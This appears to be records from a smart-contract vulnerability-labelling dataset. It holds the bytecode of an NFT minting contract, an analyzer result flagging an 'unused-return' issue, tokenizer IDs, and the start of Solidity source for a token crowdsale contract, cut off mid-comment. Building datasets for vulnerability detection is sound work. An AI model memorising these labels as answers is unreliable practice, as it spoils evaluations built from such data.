000000000000000000000000000000000000000000000000000000008152600401610a1f90612d9d565b60405180910390fd5b610a33838383611802565b505050565b600b60009054906101000a900460ff1681565b610a66838383604051806020016040528060008152506111ab565b505050565b60095481565b610a79611663565b73ffffffffffffffffffffffffffffffffffffffff16610a97610db1565b73ffffffffffffffffffffffffffffffffffffffff1614610aed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae490612cfd565b60405180910390fd5b8181600c9190610afe92919061225d565b505050565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610bac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba390612c9d565b60405180910390fd5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1d90612c7d565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c75611663565b73ffffffffffffffffffffffffffffffffffffffff16610c93610db1565b73ffffffffffffffffffffffffffffffffffffffff1614610ce9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce090612cfd565b60405180910390fd5b610cf36000611a5e565b565b610cfd611663565b73ffffffffffffffffffffffffffffffffffffffff16610d1b610db1565b73ffffffffffffffffffffffffffffffffffffffff1614610d71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6890612cfd565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050610daf57600080fd5b565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060018054610dea9061305c565b80601f0160208091040260200160405190810160405280929190818152602001828054610e169061305c565b8015610e635780601f10610e3857610100808354040283529160200191610e63565b820191906000526020600020905b815481529060010190602001808311610e4657829003601f168201915b5050505050905090565b600b60009054906101000a900460ff16610ebc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb390612c3d565b60405180910390fd5b60075481600954610ecd9190612e91565b1115610f0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0590612b7d565b60405180910390fd5b600081118015610f1f5750600a8111155b610f5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5590612dbd565b60405180910390fd5b34664fefa17b72400082610f729190612f18565b14610fb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa990612bbd565b60405180910390fd5b60005b81811015610ff45760096000815480929190610fd0906130bf565b9190505550610fe133600954611b24565b8080610fec906130bf565b915050610fb5565b5050565b61100a611003611663565b8383611cf2565b5050565b600b60009054906101000a900460ff1661105d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105490612c3d565b60405180910390fd5b6007548160095461106e9190612e91565b11156110af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a690612b7d565b60405180910390fd5b60085481600a546110c09190612e91565b1115611101576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f890612d1d565b60405180910390fd5b600081118015611112575060058111155b611151576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114890612dbd565b60405180910390fd5b80600a5461115f9190612e91565b600a8190555060005b818110156111a75760096000815480929190611183906130bf565b919050555061119433600954611b24565b808061119f906130bf565b915050611168565b5050565b6111bc6111b6611663565b83611724565b6111fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f290612d9d565b60405180910390fd5b61120784848484611e5f565b50505050565b664fefa17b72400081565b6060611223826115f7565b611262576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125990612d5d565b60405180910390fd5b600061126c611ebb565b9050600081511161128c57604051806020016040528060008152506112b7565b8061129684611f4d565b6040516020016112a7929190612a75565b6040516020818303038152906040525b915050919050565b600c80546112cc9061305c565b80601f01602080910402602001604051908101604052809291908181526020018280546112f89061305c565b80156113455780601f1061131a57610100808354040283529160200191611345565b820191906000526020600020905b81548152906001019060200180831161132857829003601f168201915b505050505081565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b60085481565b6113ef611663565b73ffffffffffffffffffffffffffffffffffffffff1661140d610db1565b73ffffffffffffffffffffffffffffffffffffffff1614611463576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145a90612cfd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156114d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ca90612b5d565b60405180910390fd5b6114dc81611a5e565b50565b60075481565b6114ed611663565b73ffffffffffffffffffffffffffffffffffffffff1661150b610db1565b73ffffffffffffffffffffffffffffffffffffffff1614611561576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155890612cfd565b60405180910390fd5b600b60009054906101000a900460ff1615600b60006101000a81548160ff021916908315150217905550565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff166116de83610b03565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600061172f826115f7565b61176e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176590612c1d565b60405180910390fd5b600061177983610b03565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614806117e857508373ffffffffffffffffffffffffffffffffffffffff166117d08461082b565b73ffffffffffffffffffffffffffffffffffffffff16145b806117f957506117f8818561134d565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff1661182282610b03565b73ffffffffffffffffffffffffffffffffffffffff1614611878576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186f90612d3d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118df90612bdd565b60405180910390fd5b6118f38383836120ae565b6118fe60008261166b565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461194e9190612f72565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546119a59190612e91565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8b90612cbd565b60405180910390fd5b611b9d816115f7565b15611bdd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd490612b9d565b60405180910390fd5b611be9600083836120ae565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611c399190612e91565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5890612bfd565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051611e529190612b00565b60405180910390a3505050565b611e6a848484611802565b611e76848484846120b3565b611eb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eac90612b3d565b60405180910390fd5b50505050565b6060600c8054611eca9061305c565b80601f0160208091040260200160405190810160405280929190818152602001828054611ef69061305c565b8015611f435780601f10611f1857610100808354040283529160200191611f43565b820191906000526020600020905b815481529060010190602001808311611f2657829003601f168201915b5050505050905090565b60606000821415611f95576040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525090506120a9565b600082905060005b60008214611fc7578080611fb0906130bf565b915050600a82611fc09190612ee7565b9150611f9d565b60008167ffffffffffffffff811115611fe357611fe26131f5565b5b6040519080825280601f01601f1916602001820160405280156120155781602001600182028036833780820191505090505b5090505b600085146120a25760018261202e9190612f72565b9150600a8561203d9190613108565b60306120499190612e91565b60f81b81838151811061205f5761205e6131c6565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a8561209b9190612ee7565b9450612019565b8093505050505b919050565b505050565b60006120d48473ffffffffffffffffffffffffffffffffffffffff1661224a565b1561223d578373ffffffffffffffffffffffffffffffffffffffff1663150b7a026120fd611663565b8786866040518563ffffffff1660e01b815260040161211f9493929190612ab4565b602060405180830381600087803b15801561213957600080fd5b505af192505050801561216a57506040513d601f19601f82011682018060405250810190612167919061261f565b60015b6121ed573d806000811461219a576040519150601f19603f3d011682016040523d82523d6000602084013e61219f565b606091505b506000815114156121e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121dc90612b3d565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050612242565b600190505b949350505050565b600080823b905060008111915050919050565b8280546122699061305c565b90600052602060002090601f01602090048101928261228b57600085556122d2565b82601f106122a457803560ff19168380011785556122d2565b828001600101855582156122d2579182015b828111156122d15782358255916020019190600101906122b6565b5b5090506122df91906122e3565b5090565b5b808211156122fc5760008160009055506001016122e4565b5090565b600061231361230e84612e1d565b612df8565b90508281526020810184848401111561232f5761232e613233565b5b61233a84828561301a565b509392505050565b60008135905061235181613778565b92915050565b6000813590506123668161378f565b92915050565b60008135905061237b816137a6565b92915050565b600081519050612390816137a6565b92915050565b600082601f8301126123ab576123aa613229565b5b81356123bb848260208601612300565b91505092915050565b60008083601f8401126123da576123d9613229565b5b8235905067ffffffffffffffff8111156123f7576123f6613224565b5b6020830191508360018202830111156124135761241261322e565b5b9250929050565b600081359050612429816137bd565b92915050565b6000602082840312156124455761244461323d565b5b600061245384828501612342565b91505092915050565b600080604083850312156124735761247261323d565b5b600061248185828601612342565b925050602061249285828601612342565b9150509250929050565b6000806000606084860312156124b5576124b461323d565b5b60006124c386828701612342565b93505060206124d486828701612342565b92505060406124e58682870161241a565b9150509250925092565b600080600080608085870312156125095761250861323d565b5b600061251787828801612342565b945050602061252887828801612342565b93505060406125398782880161241a565b925050606085013567ffffffffffffffff81111561255a57612559613238565b5b61256687828801612396565b91505092959194509250565b600080604083850312156125895761258861323d565b5b600061259785828601612342565b92505060206125a885828601612357565b9150509250929050565b600080604083850312156125c9576125c861323d565b5b60006125d785828601612342565b92505060206125e88582860161241a565b9150509250929050565b6000602082840312156126085761260761323d565b5b60006126168482850161236c565b91505092915050565b6000602082840312156126355761263461323d565b5b600061264384828501612381565b91505092915050565b600080602083850312156126635761266261323d565b5b600083013567ffffffffffffffff81111561268157612680613238565b5b61268d858286016123c4565b92509250509250929050565b6000602082840312156126af576126ae61323d565b5b60006126bd8482850161241a565b91505092915050565b6126cf81612fa6565b82525050565b6126de81612fb8565b82525050565b60006126ef82612e4e565b6126f98185612e64565b9350612709818560208601613029565b61271281613242565b840191505092915050565b600061272882612e59565b6127328185612e75565b9350612742818560208601613029565b61274b81613242565b840191505092915050565b600061276182612e59565b61276b8185612e86565b935061277b818560208601613029565b80840191505092915050565b6000612794603283612e75565b915061279f82613253565b604082019050919050565b60006127b7602683612e75565b91506127c2826132a2565b604082019050919050565b60006127da601183612e75565b91506127e5826132f1565b602082019050919050565b60006127fd601c83612e75565b91506128088261331a565b602082019050919050565b6000612820601683612e75565b915061282b82613343565b602082019050919050565b6000612843602483612e75565b915061284e8261336c565b604082019050919050565b6000612866601983612e75565b9150612871826133bb565b602082019050919050565b6000612889602c83612e75565b9150612894826133e4565b604082019050919050565b60006128ac601083612e75565b91506128b782613433565b602082019050919050565b60006128cf603883612e75565b91506128da8261345c565b604082019050919050565b60006128f2602a83612e75565b91506128fd826134ab565b604082019050919050565b6000612915602983612e75565b9150612920826134fa565b604082019050919050565b6000612938602083612e75565b915061294382613549565b602082019050919050565b600061295b602c83612e75565b915061296682613572565b604082019050919050565b600061297e602083612e75565b9150612989826135c1565b602082019050919050565b60006129a1601683612e75565b91506129ac826135ea565b602082019050919050565b60006129c4602983612e75565b91506129cf82613613565b604082019050919050565b60006129e7602f83612e75565b91506129f282613662565b604082019050919050565b6000612a0a602183612e75565b9150612a15826136b1565b604082019050919050565b6000612a2d603183612e75565b9150612a3882613700565b604082019050919050565b6000612a50601383612e75565b9150612a5b8261374f565b602082019050919050565b612a6f81613010565b82525050565b6000612a818285612756565b9150612a8d8284612756565b91508190509392505050565b6000602082019050612aae60008301846126c6565b92915050565b6000608082019050612ac960008301876126c6565b612ad660208301866126c6565b612ae36040830185612a66565b8181036060830152612af581846126e4565b905095945050505050565b6000602082019050612b1560008301846126d5565b92915050565b60006020820190508181036000830152612b35818461271d565b905092915050565b60006020820190508181036000830152612b5681612787565b9050919050565b60006020820190508181036000830152612b76816127aa565b9050919050565b60006020820190508181036000830152612b96816127cd565b9050919050565b60006020820190508181036000830152612bb6816127f0565b9050919050565b60006020820190508181036000830152612bd681612813565b9050919050565b60006020820190508181036000830152612bf681612836565b9050919050565b60006020820190508181036000830152612c1681612859565b9050919050565b60006020820190508181036000830152612c368161287c565b9050919050565b60006020820190508181036000830152612c568161289f565b9050919050565b60006020820190508181036000830152612c76816128c2565b9050919050565b60006020820190508181036000830152612c96816128e5565b9050919050565b60006020820190508181036000830152612cb681612908565b9050919050565b60006020820190508181036000830152612cd68161292b565b9050919050565b60006020820190508181036000830152612cf68161294e565b9050919050565b60006020820190508181036000830152612d1681612971565b9050919050565b60006020820190508181036000830152612d3681612994565b9050919050565b60006020820190508181036000830152612d56816129b7565b9050919050565b60006020820190508181036000830152612d76816129da565b9050919050565b60006020820190508181036000830152612d96816129fd565b9050919050565b60006020820190508181036000830152612db681612a20565b9050919050565b60006020820190508181036000830152612dd681612a43565b9050919050565b6000602082019050612df26000830184612a66565b92915050565b6000612e02612e13565b9050612e0e828261308e565b919050565b6000604051905090565b600067ffffffffffffffff821115612e3857612e376131f5565b5b612e4182613242565b9050602081019050919050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b6000612e9c82613010565b9150612ea783613010565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612edc57612edb613139565b5b828201905092915050565b6000612ef282613010565b9150612efd83613010565b925082612f0d57612f0c613168565b5b828204905092915050565b6000612f2382613010565b9150612f2e83613010565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f6757612f66613139565b5b828202905092915050565b6000612f7d82613010565b9150612f8883613010565b925082821015612f9b57612f9a613139565b5b828203905092915050565b6000612fb182612ff0565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b8381101561304757808201518184015260208101905061302c565b83811115613056576000848401525b50505050565b6000600282049050600182168061307457607f821691505b6020821081141561308857613087613197565b5b50919050565b61309782613242565b810181811067ffffffffffffffff821117156130b6576130b56131f5565b5b80604052505050565b60006130ca82613010565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156130fd576130fc613139565b5b600182019050919050565b600061311382613010565b915061311e83613010565b92508261312e5761312d613168565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f416c6c20746f6b656e73206d696e746564000000000000000000000000000000600082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f496e76616c6964207061796d656e7420616d6f756e7400000000000000000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4d696e74696e67206e6f74206c69766500000000000000000000000000000000600082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f416c6c206672656520746f6b656e73206d696e74656400000000000000000000600082015250565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f496e76616c6964206d696e7420616d6f756e7400000000000000000000000000600082015250565b61378181612fa6565b811461378c57600080fd5b50565b61379881612fb8565b81146137a357600080fd5b50565b6137af81612fc4565b81146137ba57600080fd5b50565b6137c681613010565b81146137d157600080fd5b5056fea2646970667358221220bc0fd2c190c72a15838b8033ef891b02dc9d0b0d6e8cfd733f31c686de25d8a964736f6c63430008050033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 26976, 2050, 21486, 2575, 11057, 2581, 2549, 2497, 18139, 2683, 9468, 2546, 23833, 2497, 2549, 4783, 2581, 2683, 2546, 17914, 15136, 2509, 2546, 21486, 2497, 23499, 2278, 2692, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 6105, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 9413, 2278, 2581, 17465, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 3206, 6546, 19699, 9013, 2094, 2003, 9413, 2278, 2581, 17465, 1010, 2219, 3085, 1063, 9570, 2953, 1006, 1007, 9413, 2278, 2581, 17465, 1006, 1000, 6546, 19699, 9013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,606
0x956a666a61c953f16aab481E84D41E96c8c8d2A1
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "./PostDeliveryCrowdsale.sol"; contract MintASX is PostDeliveryCrowdsale, Ownable { constructor( uint256 _rate, address payable _wallet, ERC20 _token, address _tokenWallet, uint256 _openingTime, uint256 _closingTime ) Crowdsale(_rate, _wallet, _token) AllowanceCrowdsale(_tokenWallet) TimedCrowdsale(_openingTime, _closingTime) { // solhint-disable-previous-line no-empty-blocks } function extendTime(uint256 newClosingTime) public onlyOwner { _extendTime(newClosingTime); } /** * @dev Extend parent behavior requiring to be within contributing period. * @param beneficiary Token purchaser * @param weiAmount Amount of wei contributed */ function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view override onlyWhileOpen { super._preValidatePurchase(beneficiary, weiAmount); } /** * @dev Overrides parent behavior by transferring tokens from wallet. * @param beneficiary Token purchaser * @param tokenAmount Amount of tokens purchased */ function _deliverTokens(address beneficiary, uint256 tokenAmount) internal override { super._deliverTokens(beneficiary, tokenAmount); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, _allowances[owner][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = _allowances[owner][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `from` cannot be the zero address. * - `to` 